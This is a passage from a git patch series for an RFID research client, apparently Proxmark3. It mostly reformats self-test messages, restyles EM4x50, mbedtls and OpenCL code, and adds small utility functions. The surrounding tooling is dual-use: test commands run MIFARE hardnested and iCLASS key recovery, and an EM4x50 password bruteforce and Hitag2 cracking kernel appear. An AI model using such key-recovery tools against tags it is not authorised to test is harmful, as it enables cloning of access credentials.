_GREEN_("passed")); + PrintAndLogEx(SUCCESS, "SDA raw test ( %s )", _GREEN_("ok")); ret = sda_test_pk(verbose); if (ret) { - PrintAndLogEx(WARNING, "SDA test pk: %s", _RED_("failed")); + PrintAndLogEx(WARNING, "SDA test pk ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(SUCCESS, "SDA test pk: %s", _GREEN_("passed")); + PrintAndLogEx(SUCCESS, "SDA test pk ( %s )", _GREEN_("ok")); return 0; } diff --git a/common/mbedtls/x509.c b/common/mbedtls/x509.c index 7aeee2599..6a05bb12e 100644 --- a/common/mbedtls/x509.c +++ b/common/mbedtls/x509.c @@ -968,8 +968,9 @@ int mbedtls_x509_self_test(int verbose) { mbedtls_x509_crt cacert; mbedtls_x509_crt clicert; - if (verbose != 0) - mbedtls_printf(" X.509 certificate load: "); + if (verbose != 0) { + mbedtls_printf(" X.509 certificate load "); + } mbedtls_x509_crt_init(&cacert); mbedtls_x509_crt_init(&clicert); @@ -977,8 +978,9 @@ int mbedtls_x509_self_test(int verbose) { ret = mbedtls_x509_crt_parse(&clicert, (const unsigned char *) mbedtls_test_cli_crt, mbedtls_test_cli_crt_len); if (ret != 0) { - if (verbose != 0) - mbedtls_printf("failed\n"); + if (verbose != 0) { + mbedtls_printf("( fail )\n"); + } goto cleanup; } @@ -986,25 +988,28 @@ int mbedtls_x509_self_test(int verbose) { ret = mbedtls_x509_crt_parse(&cacert, (const unsigned char *) mbedtls_test_ca_crt, mbedtls_test_ca_crt_len); if (ret != 0) { - if (verbose != 0) - mbedtls_printf("failed\n"); + if (verbose != 0) { + mbedtls_printf("( fail )\n"); + } goto cleanup; } - if (verbose != 0) - mbedtls_printf("passed\n X.509 signature verify: "); + if (verbose != 0) { + mbedtls_printf("( ok )\n X.509 signature verify "); + } ret = mbedtls_x509_crt_verify(&clicert, &cacert, NULL, NULL, &flags, NULL, NULL); if (ret != 0) { - if (verbose != 0) - mbedtls_printf("failed\n"); - + if (verbose != 0) { + mbedtls_printf("( fail )\n"); + } goto cleanup; } - if (verbose != 0) - mbedtls_printf("passed\n\n"); + if (verbose != 0) { + mbedtls_printf("( ok )\n\n"); + } cleanup: mbedtls_x509_crt_free(&cacert); diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index e1d574738..7b28a3f09 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -528,13 +528,13 @@ while true; do if ! CheckExecute "hf mf offline text" "$CLIENTBIN -c 'hf mf'" "content from tag dump file"; then break; fi if ! CheckExecute slow retry ignore "hf mf hardnested long test" "$CLIENTBIN -c 'hf mf hardnested -t --tk 000000000000'" "found:"; then break; fi if ! CheckExecute slow "hf iclass loclass long test" "$CLIENTBIN -c 'hf iclass loclass --long'" "verified \( ok \)"; then break; fi - if ! CheckExecute slow "emv long test" "$CLIENTBIN -c 'emv test -l'" "Test\(s\) \[ ok"; then break; fi + if ! CheckExecute slow "emv long test" "$CLIENTBIN -c 'emv test -l'" "Tests \( ok"; then break; fi if ! CheckExecute "hf iclass lookup test" "$CLIENTBIN -c 'hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f $DICPATH/iclass_default_keys.dic'" \ "valid key AE A6 84 A6 DA B2 32 78"; then break; fi if ! CheckExecute "hf iclass loclass test" "$CLIENTBIN -c 'hf iclass loclass --test'" "key diversification \( ok \)"; then break; fi - if ! CheckExecute "emv test" "$CLIENTBIN -c 'emv test'" "Test\(s\) \[ ok"; then break; fi - if ! CheckExecute "hf cipurse test" "$CLIENTBIN -c 'hf cipurse test'" "Tests \[ ok"; then break; fi - if ! CheckExecute "hf mfdes test" "$CLIENTBIN -c 'hf mfdes test'" "Tests \[ ok"; then break; fi + if ! CheckExecute "emv test" "$CLIENTBIN -c 'emv test'" "Tests \( ok"; then break; fi + if ! CheckExecute "hf cipurse test" "$CLIENTBIN -c 'hf cipurse test'" "Tests \( ok"; then break; fi + if ! CheckExecute "hf mfdes test" "$CLIENTBIN -c 'hf mfdes test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf waveshare load" "$CLIENTBIN -c 'hf waveshare load -m 6 -f tools/lena.bmp -s dither.bmp' && echo '34ff55fe7257876acf30dae00eb0e439 dither.bmp' | md5sum -c" "dither.bmp: OK"; then break; fi fi echo -e "\n------------------------------------------------------------" From d340de388d484bc3d774232a7691571a4ae9b853 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:23:22 +0200 Subject: [PATCH 05/16] textual --- client/src/cmdlfem4x50.c | 21 ++++++++++++++------- include/em4x50.h | 7 +++++++ 2 files changed, 21 insertions(+), 7 deletions(-) diff --git a/client/src/cmdlfem4x50.c b/client/src/cmdlfem4x50.c index 45874c7a5..0e610298f 100644 --- a/client/src/cmdlfem4x50.c +++ b/client/src/cmdlfem4x50.c @@ -63,10 +63,10 @@ static void em4x50_print_result(const em4x50_word_t *words, int fwr, int lwr) { s = _YELLOW_("control cfg ( locked )"); break; case EM4X50_DEVICE_SERIAL: - s = _YELLOW_("device serial number ( RO )"); + s = _YELLOW_("serial number ( RO )"); break; case EM4X50_DEVICE_ID: - s = _YELLOW_("device identification ( RO )"); + s = _YELLOW_("device id ( RO )"); break; default: s = "user data"; @@ -602,8 +602,11 @@ int read_em4x50_uid(void) { }; em4x50_word_t words[EM4X50_NO_WORDS]; int res = em4x50_read(&etd, words); - if (res == PM3_SUCCESS) + if (res == PM3_SUCCESS) { PrintAndLogEx(INFO, " Serial: " _GREEN_("%s"), sprint_hex(words[EM4X50_DEVICE_SERIAL].byte, 4)); + } else { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } return res; } @@ -612,7 +615,10 @@ int read_em4x50_uid(void) { // read protected) -> selective read mode int em4x50_read(em4x50_data_t *etd, em4x50_word_t *out) { - em4x50_data_t edata = { .pwd_given = false, .addr_given = false }; + em4x50_data_t edata = { + .pwd_given = false, + .addr_given = false, + }; if (etd != NULL) { edata = *etd; @@ -630,9 +636,10 @@ int em4x50_read(em4x50_data_t *etd, em4x50_word_t *out) { return PM3_ESOFT; } - uint8_t *data = resp.data.asBytes; + em4x50_read_data_response_t *o = (em4x50_read_data_response_t *)resp.data.asBytes; + em4x50_word_t words[EM4X50_NO_WORDS] = {0}; - em4x50_prepare_result(data, etd->addresses & 0xFF, (etd->addresses >> 8) & 0xFF, words); + em4x50_prepare_result((uint8_t *)o->words, etd->addresses & 0xFF, (etd->addresses >> 8) & 0xFF, words); if (out != NULL) { memcpy(out, &words, sizeof(em4x50_word_t) * EM4X50_NO_WORDS); @@ -1331,7 +1338,7 @@ static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("operations") " ---------------------"}, {"brute", CmdEM4x50Brute, IfPm3EM4x50, "Bruteforce attack to find password"}, - {"chk", CmdEM4x50Chk, IfPm3EM4x50, "Check passwords from dictionary"}, + {"chk", CmdEM4x50Chk, IfPm3EM4x50, "Check passwords"}, {"dump", CmdEM4x50Dump, IfPm3EM4x50, "Dump EM4x50 tag"}, {"info", CmdEM4x50Info, IfPm3EM4x50, "Tag information"}, {"login", CmdEM4x50Login, IfPm3EM4x50, "Login into EM4x50 tag"}, diff --git a/include/em4x50.h b/include/em4x50.h index 69f5d8dce..1b4d7fa7f 100644 --- a/include/em4x50.h +++ b/include/em4x50.h @@ -23,6 +23,7 @@ #include "bruteforce.h" #define EM4X50_NO_WORDS 34 +#define EM4X50_SIZE_WORD 4 // special words #define EM4X50_DEVICE_PASSWORD 0 @@ -71,6 +72,12 @@ typedef struct { uint8_t byte[4]; } PACKED em4x50_word_t; +typedef struct { + uint8_t count; + uint32_t *words; +} PACKED em4x50_read_data_response_t; + +// Global variables... extern bool g_Login; extern bool g_WritePasswordProcess; extern uint32_t g_Password; From 02872796aae5256d5b07842bee3a8bbf346b8920 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:26:25 +0200 Subject: [PATCH 06/16] should wait for a reply from device that sniffing is done --- CHANGELOG.md | 2 ++ client/src/cmdhfcryptorf.c | 2 ++ common/util_posix.c | 30 ++++++++++++++++++++++++++++-- common/util_posix.h | 6 +++--- 4 files changed, 35 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3fb4060b8..4aa22f8a4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Addeded a micro second clock in the client (@iceman1001) +- Fix `hf mfdes read` - buffer overflow when reading large files (@iceman1001) - Changed `hf 15 csetuid` - now supports gen2 command (@iceman1001) - Changed `hf mfp info` - to identify Ev2 (@iceman1001) - Updated Graph Markers implementation to include temporary markers and marker labels (@HACKhalo2) diff --git a/client/src/cmdhfcryptorf.c b/client/src/cmdhfcryptorf.c index 909c5f110..8f765ed66 100644 --- a/client/src/cmdhfcryptorf.c +++ b/client/src/cmdhfcryptorf.c @@ -93,6 +93,8 @@ static int CmdHFCryptoRFSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO14443B_SNIFF, NULL, 0); + PacketResponseNG resp; + WaitForResponse(CMD_HF_ISO14443B_SNIFF, &resp); PrintAndLogEx(HINT, "Try `" _YELLOW_("hf cryptorf list") "` to view captured tracelog"); PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -f hf_cryptorf_mytrace") "` to save tracelog for later analysing"); diff --git a/common/util_posix.c b/common/util_posix.c index f1764533d..4bc28f80f 100644 --- a/common/util_posix.c +++ b/common/util_posix.c @@ -18,7 +18,7 @@ // ensure availability even with -std=c99; must be included before #if !defined(_WIN32) -//#define _POSIX_C_SOURCE 199309L // need nanosleep() + #define _POSIX_C_SOURCE 200112L // need localtime_r() #else #include @@ -116,7 +116,6 @@ int _civet_safe_clock_gettime(int clk_id, struct timespec *t) { #endif - // a milliseconds timer for performance measurement uint64_t msclock(void) { #if defined(_WIN32) @@ -143,3 +142,30 @@ uint64_t msclock(void) { #endif } +// a micro seconds timer for performance measurement +uint64_t usclock(void) { +#if defined(_WIN32) +#include + + // WORKAROUND FOR MinGW (some versions - use if normal code does not compile) + // It has no _ftime_s and needs explicit inclusion of timeb.h +#include + struct _timeb t; + _ftime(&t); + return 1000 * (uint64_t)t.time + t.millitm; + +// NORMAL CODE (use _ftime_s) + //struct _timeb t; + //if (_ftime_s(&t)) { + // return 0; + //} else { + // return 1000 * t.time + t.millitm; + //} +#else + struct timespec t; + clock_gettime(CLOCK_MONOTONIC, &t); + //return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000); + return (1000 * (uint64_t)t.tv_sec + (t.tv_nsec / 1000)); +#endif +} + diff --git a/common/util_posix.h b/common/util_posix.h index 08c4b3193..8f7ffb091 100644 --- a/common/util_posix.h +++ b/common/util_posix.h @@ -26,9 +26,9 @@ # define sleep(n) Sleep(1000 *(n)) # define msleep(n) Sleep((n)) #else -void msleep(uint32_t n); // sleep n milliseconds +void msleep(uint32_t n); // sleep n milliseconds #endif // _WIN32 -uint64_t msclock(void); // a milliseconds clock - +uint64_t msclock(void); // a milliseconds clock +uint64_t usclock(void); // a microseconds clock #endif From 47262433e83d13da89f18c88caccab5c1b174800 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:27:54 +0200 Subject: [PATCH 07/16] missing header --- armsrc/iso15693.h | 1 + 1 file changed, 1 insertion(+) diff --git a/armsrc/iso15693.h b/armsrc/iso15693.h index a3cb5174a..6870c3f95 100644 --- a/armsrc/iso15693.h +++ b/armsrc/iso15693.h @@ -59,6 +59,7 @@ int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len); void SetTag15693Uid(const uint8_t *uid); +void SetTag15693Uid_v2(const uint8_t *uid); void WritePasswordSlixIso15693(const uint8_t *old_password, const uint8_t *new_password, uint8_t pwd_id); void DisablePrivacySlixIso15693(const uint8_t *password); From ac809c4a9f0bb4b4b22a5be7dbb2e0f16d0008e0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:29:38 +0200 Subject: [PATCH 08/16] support function --- common/commonutil.c | 10 ++++++++++ common/commonutil.h | 1 + 2 files changed, 11 insertions(+) diff --git a/common/commonutil.c b/common/commonutil.c index c9ae5981c..79985099c 100644 --- a/common/commonutil.c +++ b/common/commonutil.c @@ -144,6 +144,16 @@ uint32_t reflect32(uint32_t b) { return v; } +uint64_t reflect64(uint64_t b) { + // https://graphics.stanford.edu/~seander/bithacks.html#BitReverseTable + uint64_t v = b; // 32-bit word to reverse bit order + // swap 2-byte long pairs + uint64_t v1 = reflect32(v >> 32); + uint64_t v2 = reflect32(v); + v = (v1 << 32) | (v2 & 0xFFFFFFFF); + return v; +} + void num_to_bytes(uint64_t n, size_t len, uint8_t *dest) { while (len--) { dest[len] = (uint8_t) n; diff --git a/common/commonutil.h b/common/commonutil.h index a31c6c64e..a6dc243da 100644 --- a/common/commonutil.h +++ b/common/commonutil.h @@ -74,6 +74,7 @@ uint32_t reflect(uint32_t v, int b); // used in crc.c ... uint8_t reflect8(uint8_t b); // dedicated 8bit reversal uint16_t reflect16(uint16_t b); // dedicated 16bit reversal uint32_t reflect32(uint32_t b); // dedicated 32bit reversal +uint64_t reflect64(uint64_t b); // dedicated 64bit reversal void num_to_bytes(uint64_t n, size_t len, uint8_t *dest); uint64_t bytes_to_num(const uint8_t *src, size_t len); From 12e38cdfffbc2185dd9d2f16d2c9abcb7433d32a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:34:46 +0200 Subject: [PATCH 09/16] text --- client/src/cmddata.c | 17 ++--------------- client/src/cmdhficlass.c | 14 ++++++++------ client/src/cmdhfjooki.c | 4 ++-- 3 files changed, 12 insertions(+), 23 deletions(-) diff --git a/client/src/cmddata.c b/client/src/cmddata.c index eba8b32be..316f3b279 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -2791,7 +2791,7 @@ static int CmdAsn1Decoder(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str0("d", NULL, "", "ASN1 encoded byte array"), - arg_lit0("t", "test", "perform selftest"), + arg_lit0("t", "test", "perform self test"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2820,17 +2820,14 @@ static int CmdDiff(const char *Cmd) { "data diff -w 4 -a hf-mfu-01020304.bin -b hf-mfu-04030201.bin\n" "data diff -a fileA -b fileB\n" "data diff -a fileA --eb\n" -// "data diff -a fileA --cb\n" "data diff --fa fileA -b fileB\n" "data diff --fa fileA --fb fileB\n" -// "data diff --ea --cb\n" ); void *argtable[] = { arg_param_begin, arg_str0("a", NULL, "", "input file name A"), arg_str0("b", NULL, "", "input file name B"), -// arg_lit0(NULL, "cb", "magic gen1 "), arg_lit0(NULL, "eb", "emulator memory "), arg_str0(NULL, "fa", "", "input spiffs file A"), arg_str0(NULL, "fb", "", "input spiffs file B"), @@ -2847,7 +2844,6 @@ static int CmdDiff(const char *Cmd) { char filenameB[FILE_PATH_SIZE] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)filenameB, FILE_PATH_SIZE, &fnlenB); -// bool use_c = arg_get_lit(ctx, 3); bool use_e = arg_get_lit(ctx, 3); // SPIFFS filename A @@ -2952,14 +2948,6 @@ static int CmdDiff(const char *Cmd) { } } - // dump magic card memory - /* - if (use_c) { - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); - return PM3_ENOTIMPL; - } - */ - size_t biggest = (datalenA > datalenB) ? datalenA : datalenB; PrintAndLogEx(DEBUG, "data len: %zu A %zu B %zu", biggest, datalenA, datalenB); @@ -2971,7 +2959,6 @@ static int CmdDiff(const char *Cmd) { PrintAndLogEx(INFO, "inB null"); } - char hdr0[400] = {0}; int hdr_sln = (width * 4) + 2; @@ -3417,7 +3404,7 @@ static int CmdAtrLookup(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str0("d", NULL, "", "ASN1 encoded byte array"), -// arg_lit0("t", "test", "perform selftest"), +// arg_lit0("t", "test", "perform self test"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index f9d87b822..9849a88b0 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -2147,8 +2147,9 @@ static int CmdHFiClassDump(const char *Cmd) { write_dump: - if (have_credit_key && pagemap != 0x01 && aa2_success == false) + if (have_credit_key && pagemap != 0x01 && aa2_success == false) { PrintAndLogEx(INFO, "Reading AA2 failed. dumping AA1 data to file"); + } // print the dump printIclassDumpContents(tag_data, 1, (bytes_got / 8), bytes_got, dense_output); @@ -2852,8 +2853,8 @@ static int CmdHFiClass_loclass(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str0("f", "file", "", "filename with nr/mac data from `hf iclass sim -t 2` "), - arg_lit0(NULL, "test", "Perform self-test"), - arg_lit0(NULL, "long", "Perform self-test, including long ones"), + arg_lit0(NULL, "test", "Perform self test"), + arg_lit0(NULL, "long", "Perform self test, including long ones"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -3776,9 +3777,10 @@ out: static int CmdHFiClassLookUp(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass lookup", - "Lookup keys takes some sniffed trace data and tries to verify what key was used against a dictionary file", + "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.", "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n" - "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite"); + "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" + ); void *argtable[] = { arg_param_begin, @@ -4628,9 +4630,9 @@ static int CmdHFiClassSAM(const char *Cmd) { } static command_t CommandTable[] = { - {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("General") " ---------------------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHFiClassList, AlwaysAvailable, "List iclass history"}, +// {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("General") " ---------------------"}, {"-----------", CmdHelp, IfPm3Iclass, "------------------- " _CYAN_("Operations") " -------------------"}, // {"clone", CmdHFiClassClone, IfPm3Iclass, "Create a HID credential to Picopass / iCLASS tag"}, {"dump", CmdHFiClassDump, IfPm3Iclass, "Dump Picopass / iCLASS tag to file"}, diff --git a/client/src/cmdhfjooki.c b/client/src/cmdhfjooki.c index 41cd9b7b9..3770974ca 100644 --- a/client/src/cmdhfjooki.c +++ b/client/src/cmdhfjooki.c @@ -238,7 +238,7 @@ static void jooki_print(uint8_t *b64, uint8_t *result, bool verbose) { static int jooki_selftest(void) { - PrintAndLogEx(INFO, "======== " _CYAN_("selftest") " ==========================================="); + PrintAndLogEx(INFO, "======== " _CYAN_("self test") " ==========================================="); for (int i = 0; i < ARRAYLEN(jooks); i++) { if (strlen(jooks[i].b64) == 0) continue; @@ -296,7 +296,7 @@ static int CmdHF14AJookiEncode(const char *Cmd) { arg_param_begin, arg_str0("u", "uid", "", "uid bytes"), arg_lit0("r", NULL, "read uid from tag instead"), - arg_lit0("t", NULL, "selftest"), + arg_lit0("t", NULL, "self test"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "dragon", "figurine type"), arg_lit0(NULL, "fox", "figurine type"), From 042ba20d5865311aa97cb7d2a70713f2dd661290 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:36:42 +0200 Subject: [PATCH 10/16] style --- tools/hitag2crack/crack5opencl/hitag2.c | 8 +++- .../crack5opencl/ht2crack5opencl_kernel.cl | 42 ++++++++++++------- tools/hitag2crack/crack5opencl/opencl.c | 8 ++-- 3 files changed, 37 insertions(+), 21 deletions(-) diff --git a/tools/hitag2crack/crack5opencl/hitag2.c b/tools/hitag2crack/crack5opencl/hitag2.c index 3ff851a9f..cff50908e 100644 --- a/tools/hitag2crack/crack5opencl/hitag2.c +++ b/tools/hitag2crack/crack5opencl/hitag2.c @@ -135,12 +135,16 @@ void hitag2_init(Hitag_State *pstate, uint64_t sharedkey, uint32_t serialnum, ui int i; - for (i = 0; i < 16; i++) cur_state = (cur_state >> 1) ^ (uint64_t) hitag2_crypt(cur_state) << 46; + for (i = 0; i < 16; i++) { + cur_state = (cur_state >> 1) ^ (uint64_t) hitag2_crypt(cur_state) << 46; + } // highest 16 bits of IV XOR Shared Key cur_state |= (uint64_t) initvector << 47; - for (i = 0; i < 15; i++) cur_state = (cur_state >> 1) ^ (uint64_t) hitag2_crypt(cur_state) << 46; + for (i = 0; i < 15; i++) { + cur_state = (cur_state >> 1) ^ (uint64_t) hitag2_crypt(cur_state) << 46; + } cur_state ^= (uint64_t) hitag2_crypt(cur_state) << 47; diff --git a/tools/hitag2crack/crack5opencl/ht2crack5opencl_kernel.cl b/tools/hitag2crack/crack5opencl/ht2crack5opencl_kernel.cl index f914b229c..38ad134c7 100644 --- a/tools/hitag2crack/crack5opencl/ht2crack5opencl_kernel.cl +++ b/tools/hitag2crack/crack5opencl/ht2crack5opencl_kernel.cl @@ -309,17 +309,20 @@ static uint hitag2_nstep2 (ulong state, ulong lfsr) return result; } -inline static int bitn(ulong x, int bit) -{ +inline static int bitn(ulong x, int bit) { const ulong bitmask = 1UL << bit; return (x & bitmask) ? 1 : 0; } -static int fnR (ulong x) -{ - return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ - bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ - bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +static int fnR (ulong x) { + return ( + bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ + bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 15) ^ + bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ + bitn(x, 29) ^ bitn(x, 40) ^ bitn(x, 41) ^ + bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ + bitn(x, 47) + ); } inline static int fa(unsigned int i) { @@ -330,8 +333,7 @@ inline static int fb(unsigned int i) { return bitn(0x6671, i); } -static int fnf (ulong s) -{ +static int fnf (ulong s) { const uint x1 = (bitn(s, 2) << 0) | lut3_0x96( (bitn(s, 3) << 1), (bitn(s, 5) << 2), (bitn(s, 6) << 3)); const uint x2 = (bitn(s, 8) << 0) | lut3_0x96( (bitn(s, 12) << 1), (bitn(s, 14) << 2), (bitn(s, 15) << 3)); const uint x3 = (bitn(s, 17) << 0) | lut3_0x96( (bitn(s, 21) << 1), (bitn(s, 23) << 2), (bitn(s, 26) << 3)); @@ -362,16 +364,21 @@ void find_state(const uint candidate_index_base, { const size_t gid[2] = { get_global_id(0), get_global_id(1) }; - // if (gid[0] == 0) printf("work-item 1,%u\n", gid[1]); - #ifdef HAVE_LOCAL_MEMORY + const size_t lid = get_local_id(0); const size_t lsize = get_local_size(0); + #endif // HAVE_LOCAL_MEMORY - const uint index = 3 * (candidate_index_base + gid[0]); // dimension 0 should at least keep the execution units saturated - 8k is fine + // dimension 0 should at least keep the execution units saturated - 8k is fine + const uint index = 3 * (candidate_index_base + gid[0]); - const ulong3 c = { candidates[index], candidates[index + 1], candidates[index + 2] }; + const ulong3 c = { + candidates[index], + candidates[index + 1], + candidates[index + 2] + }; const ulong candidate = ( c.x << 32 | c.y << 16 | c.z ); @@ -379,13 +386,17 @@ void find_state(const uint candidate_index_base, // store keystream in local memory __local bitslice_t keystream[32]; - for (size_t i = lid; i < 32; i+= lsize) keystream[i] = _keystream[i]; + for (size_t i = lid; i < 32; i+= lsize) { + keystream[i] = _keystream[i]; + } #ifdef WITH_HITAG2_FULL // store uid, aR2, nR1, nR2 in local memory __local uint checks[4]; - for (uint i = lid; i < 4; i+= lsize) checks[i] = _checks[i]; + for (uint i = lid; i < 4; i+= lsize) { + checks[i] = _checks[i]; + } #endif // threads synchronization @@ -437,6 +448,7 @@ void find_state(const uint candidate_index_base, const bitslice_t filter1 = f_c_bs(filter1_0, filter1_1, filter1_2, filter1_3, filter1_4); const bitslice_t results1 = filter1 ^ keystream[1]; + if (!results1) return; const bitslice_t filter2_0 = f_a_bs(state[-2 + 4], state[-2 + 5], state[-2 + 7], state[-2 + 8]); diff --git a/tools/hitag2crack/crack5opencl/opencl.c b/tools/hitag2crack/crack5opencl/opencl.c index 5b262ab84..2265cef2e 100644 --- a/tools/hitag2crack/crack5opencl/opencl.c +++ b/tools/hitag2crack/crack5opencl/opencl.c @@ -310,13 +310,13 @@ int discoverDevices(unsigned int profile_selected, uint32_t device_types_selecte } else { (*cd_ctx)[platform_idx].device[device_idx].selected = plat_dev_enabled(global_device_id, dev_sel, dev_cnt, (unsigned int) device_type, device_types_selected); } - + global_device_id++; - + if ((*cd_ctx)[platform_idx].device[device_idx].selected) { (*selected_devices_cnt)++; } - + continue; } else if (info_idx == 5) { @@ -338,7 +338,7 @@ int discoverDevices(unsigned int profile_selected, uint32_t device_types_selecte } if ((*cd_ctx)[platform_idx].is_apple) { - + if (strncmp((*cd_ctx)[platform_idx].device[device_idx].vendor, "Intel", 5) != 0) { (*cd_ctx)[platform_idx].device[device_idx].have_local_memory = true; From 1b45112ad01b7426c5dbea5687b8e2835bd744c3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:40:50 +0200 Subject: [PATCH 11/16] style --- .../OpenCL-Headers/CL/cl_function_types.h | 512 +++++++++--------- .../common/OpenCL-Headers/CL/cl_layer.h | 20 +- tools/hitag2crack/common/ht2crackutils.c | 2 +- 3 files changed, 267 insertions(+), 267 deletions(-) diff --git a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_function_types.h b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_function_types.h index 124f53ba7..9042a3e5a 100644 --- a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_function_types.h +++ b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_function_types.h @@ -23,8 +23,8 @@ typedef cl_int CL_API_CALL clGetPlatformIDs_t( cl_uint num_entries, - cl_platform_id* platforms, - cl_uint* num_platforms); + cl_platform_id *platforms, + cl_uint *num_platforms); typedef clGetPlatformIDs_t * clGetPlatformIDs_fn CL_API_SUFFIX__VERSION_1_0; @@ -33,8 +33,8 @@ typedef cl_int CL_API_CALL clGetPlatformInfo_t( cl_platform_id platform, cl_platform_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetPlatformInfo_t * clGetPlatformInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -43,8 +43,8 @@ typedef cl_int CL_API_CALL clGetDeviceIDs_t( cl_platform_id platform, cl_device_type device_type, cl_uint num_entries, - cl_device_id* devices, - cl_uint* num_devices); + cl_device_id *devices, + cl_uint *num_devices); typedef clGetDeviceIDs_t * clGetDeviceIDs_fn CL_API_SUFFIX__VERSION_1_0; @@ -53,29 +53,29 @@ typedef cl_int CL_API_CALL clGetDeviceInfo_t( cl_device_id device, cl_device_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetDeviceInfo_t * clGetDeviceInfo_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_context CL_API_CALL clCreateContext_t( - const cl_context_properties* properties, + const cl_context_properties *properties, cl_uint num_devices, - const cl_device_id* devices, - void (CL_CALLBACK* pfn_notify)(const char* errinfo, const void* private_info, size_t cb, void* user_data), - void* user_data, - cl_int* errcode_ret); + const cl_device_id *devices, + void (CL_CALLBACK *pfn_notify)(const char *errinfo, const void *private_info, size_t cb, void *user_data), + void *user_data, + cl_int *errcode_ret); typedef clCreateContext_t * clCreateContext_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_context CL_API_CALL clCreateContextFromType_t( - const cl_context_properties* properties, + const cl_context_properties *properties, cl_device_type device_type, - void (CL_CALLBACK* pfn_notify)(const char* errinfo, const void* private_info, size_t cb, void* user_data), - void* user_data, - cl_int* errcode_ret); + void (CL_CALLBACK *pfn_notify)(const char *errinfo, const void *private_info, size_t cb, void *user_data), + void *user_data, + cl_int *errcode_ret); typedef clCreateContextFromType_t * clCreateContextFromType_fn CL_API_SUFFIX__VERSION_1_0; @@ -96,8 +96,8 @@ typedef cl_int CL_API_CALL clGetContextInfo_t( cl_context context, cl_context_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetContextInfo_t * clGetContextInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -118,8 +118,8 @@ typedef cl_int CL_API_CALL clGetCommandQueueInfo_t( cl_command_queue command_queue, cl_command_queue_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetCommandQueueInfo_t * clGetCommandQueueInfo_fn 